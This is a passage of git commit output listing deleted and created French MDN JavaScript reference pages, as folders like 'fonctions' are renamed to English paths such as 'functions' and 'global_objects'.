files/fr/web/javascript/reference/errors/var_hides_argument/index.html delete mode 100644 files/fr/web/javascript/reference/fonctions/arguments/@@iterator/index.html delete mode 100644 files/fr/web/javascript/reference/fonctions/arguments/callee/index.html delete mode 100644 files/fr/web/javascript/reference/fonctions/arguments/index.html delete mode 100644 files/fr/web/javascript/reference/fonctions/arguments/length/index.html delete mode 100644 "files/fr/web/javascript/reference/fonctions/d\303\251finition_de_m\303\251thode/index.html" delete mode 100644 "files/fr/web/javascript/reference/fonctions/fonctions_fl\303\251ch\303\251es/index.html" delete mode 100644 files/fr/web/javascript/reference/fonctions/get/index.html delete mode 100644 files/fr/web/javascript/reference/fonctions/index.html delete mode 100644 "files/fr/web/javascript/reference/fonctions/param\303\250tres_du_reste/index.html" delete mode 100644 files/fr/web/javascript/reference/fonctions/set/index.html delete mode 100644 "files/fr/web/javascript/reference/fonctions/valeurs_par_d\303\251faut_des_arguments/index.html" create mode 100644 files/fr/web/javascript/reference/functions/arguments/@@iterator/index.html create mode 100644 files/fr/web/javascript/reference/functions/arguments/callee/index.html create mode 100644 files/fr/web/javascript/reference/functions/arguments/index.html create mode 100644 files/fr/web/javascript/reference/functions/arguments/length/index.html create mode 100644 files/fr/web/javascript/reference/functions/arrow_functions/index.html create mode 100644 files/fr/web/javascript/reference/functions/default_parameters/index.html create mode 100644 files/fr/web/javascript/reference/functions/get/index.html create mode 100644 files/fr/web/javascript/reference/functions/index.html create mode 100644 files/fr/web/javascript/reference/functions/method_definitions/index.html create mode 100644 files/fr/web/javascript/reference/functions/rest_parameters/index.html create mode 100644 files/fr/web/javascript/reference/functions/set/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/aggregateerror/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/@@iterator/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/@@species/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/@@unscopables/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/array/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/concat/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/copywithin/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/entries/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/every/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/fill/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/filter/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/find/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/findindex/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/flat/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/flatmap/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/foreach/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/from/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/includes/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/indexof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/isarray/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/join/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/keys/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/lastindexof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/length/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/map/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/of/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/pop/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/push/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/reduce/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/reduceright/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/reverse/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/shift/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/slice/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/some/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/sort/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/splice/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/tolocalestring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/tosource/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/tostring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/unshift/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/array/values/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/arraybuffer/@@species/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/arraybuffer/bytelength/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/arraybuffer/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/arraybuffer/isview/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/arraybuffer/slice/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/asyncfunction/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/atomics/add/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/atomics/and/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/atomics/compareexchange/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/atomics/exchange/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/atomics/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/atomics/islockfree/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/atomics/load/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/atomics/notify/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/atomics/or/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/atomics/store/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/atomics/sub/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/atomics/wait/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/atomics/xor/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/bigint/asintn/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/bigint/asuintn/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/bigint/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/bigint/tolocalestring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/bigint/tostring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/bigint/valueof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/bigint64array/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/biguint64array/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/boolean/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/boolean/tosource/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/boolean/tostring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/boolean/valueof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/buffer/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/bytelength/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/byteoffset/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/getbigint64/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/getbiguint64/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/getfloat32/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/getfloat64/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/getint16/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/getint32/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/getint8/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/getuint16/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/getuint32/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/getuint8/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/setbigint64/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/setbiguint64/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/setfloat32/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/setfloat64/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/setint16/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/setint32/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/setint8/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/setuint16/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/setuint32/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/dataview/setuint8/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/@@toprimitive/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getdate/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getday/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getfullyear/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/gethours/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getmilliseconds/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getminutes/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getmonth/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getseconds/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/gettime/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getutcdate/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getutcday/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getutcfullyear/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getutchours/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getutcminutes/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getutcmonth/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getutcseconds/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/getyear/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/now/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/parse/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/setdate/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/setfullyear/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/sethours/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/setmilliseconds/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/setminutes/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/setmonth/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/setseconds/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/settime/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/setutcdate/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/setutcfullyear/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/setutchours/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/setutcminutes/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/setutcmonth/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/setutcseconds/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/setyear/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/todatestring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/togmtstring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/toisostring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/tojson/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/tolocaledatestring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/tolocalestring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/tolocaletimestring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/tosource/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/tostring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/totimestring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/toutcstring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/utc/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/date/valueof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/decodeuri/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/decodeuricomponent/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/encodeuri/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/encodeuricomponent/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/error/columnnumber/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/error/filename/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/error/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/error/linenumber/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/error/message/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/error/name/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/error/stack/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/error/tosource/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/error/tostring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/escape/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/eval/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/evalerror/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/float32array/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/float64array/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/function/apply/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/function/arguments/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/function/bind/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/function/call/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/function/caller/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/function/displayname/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/function/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/function/length/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/function/name/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/function/tosource/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/function/tostring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/generator/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/generator/next/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/generator/return/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/generator/throw/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/generatorfunction/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/globalthis/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/infinity/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/int16array/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/int32array/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/int8array/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/internalerror/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/collator/compare/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/collator/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/collator/resolvedoptions/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/collator/supportedlocalesof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/datetimeformat/format/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/datetimeformat/formatrange/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/datetimeformat/formatrangetoparts/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/datetimeformat/formattoparts/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/datetimeformat/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/datetimeformat/resolvedoptions/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/datetimeformat/supportedlocalesof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/getcanonicallocales/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/listformat/format/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/listformat/formattoparts/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/listformat/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/listformat/resolvedoptions/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/listformat/supportedlocalesof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/locale/basename/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/locale/calendar/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/locale/casefirst/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/locale/collation/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/locale/hourcycle/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/locale/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/locale/language/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/locale/maximize/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/locale/minimize/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/locale/numberingsystem/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/locale/numeric/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/locale/region/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/locale/script/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/locale/tostring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/numberformat/format/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/numberformat/formattoparts/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/numberformat/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/numberformat/resolvedoptions/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/numberformat/supportedlocalesof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/pluralrules/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/pluralrules/resolvedoptions/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/pluralrules/select/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/pluralrules/supportedlocalesof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/format/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/formattoparts/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/resolvedoptions/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/supportedlocalesof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/isfinite/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/isnan/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/json/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/json/parse/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/json/stringify/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/map/@@iterator/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/map/@@species/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/map/@@tostringtag/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/map/clear/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/map/delete/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/map/entries/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/map/foreach/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/map/get/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/map/has/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/map/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/map/keys/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/map/set/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/map/size/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/map/values/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/abs/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/acos/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/acosh/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/asin/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/asinh/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/atan/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/atan2/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/atanh/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/cbrt/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/ceil/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/clz32/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/cos/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/cosh/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/e/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/exp/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/expm1/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/floor/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/fround/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/hypot/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/imul/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/ln10/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/ln2/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/log/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/log10/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/log10e/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/log1p/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/log2/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/log2e/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/max/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/min/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/pi/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/pow/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/random/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/round/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/sign/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/sin/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/sinh/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/sqrt/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/sqrt1_2/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/sqrt2/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/tan/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/tanh/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/math/trunc/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/nan/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/null/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/epsilon/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/isfinite/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/isinteger/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/isnan/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/issafeinteger/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/max_safe_integer/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/max_value/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/min_safe_integer/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/min_value/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/nan/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/negative_infinity/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/parsefloat/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/parseint/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/positive_infinity/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/toexponential/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/tofixed/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/tolocalestring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/toprecision/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/tosource/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/tostring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/number/valueof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/__definegetter__/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/__definesetter__/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/__lookupgetter__/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/__lookupsetter__/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/assign/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/constructor/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/create/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/defineproperties/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/defineproperty/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/entries/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/freeze/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/fromentries/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/getownpropertynames/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/getownpropertysymbols/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/getprototypeof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/hasownproperty/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/is/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/isextensible/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/isfrozen/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/isprototypeof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/issealed/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/keys/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/preventextensions/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/propertyisenumerable/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/proto/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/seal/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/setprototypeof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/tolocalestring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/tosource/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/tostring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/valueof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/object/values/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/parsefloat/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/parseint/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/promise/all/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/promise/allsettled/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/promise/any/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/promise/catch/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/promise/finally/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/promise/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/promise/race/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/promise/reject/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/promise/resolve/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/promise/then/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/proxy/apply/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/proxy/construct/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/proxy/get/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/proxy/has/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/proxy/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/proxy/set/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/proxy/revocable/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/rangeerror/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/referenceerror/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/reflect/apply/index.html create mode 100644 